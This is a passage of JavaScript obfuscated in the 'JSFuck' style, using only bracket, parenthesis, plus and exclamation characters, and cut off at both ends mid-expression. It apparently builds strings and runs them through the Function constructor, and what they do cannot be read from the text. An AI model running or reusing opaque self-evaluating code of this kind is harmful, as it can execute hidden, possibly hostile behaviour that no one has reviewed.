+[ ]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[+![]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[] ]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[ ]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[ +!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]] +(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+ !+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+ []]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[] ])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]]+(![]+[])[+!+[]])+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+ (!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+ [][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+ (![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[ ]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[] )[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[] ]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+ [])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![ ]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]]+(![]+[])[+!+[]])+(![]+[+![]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[+![]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(! []+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[ 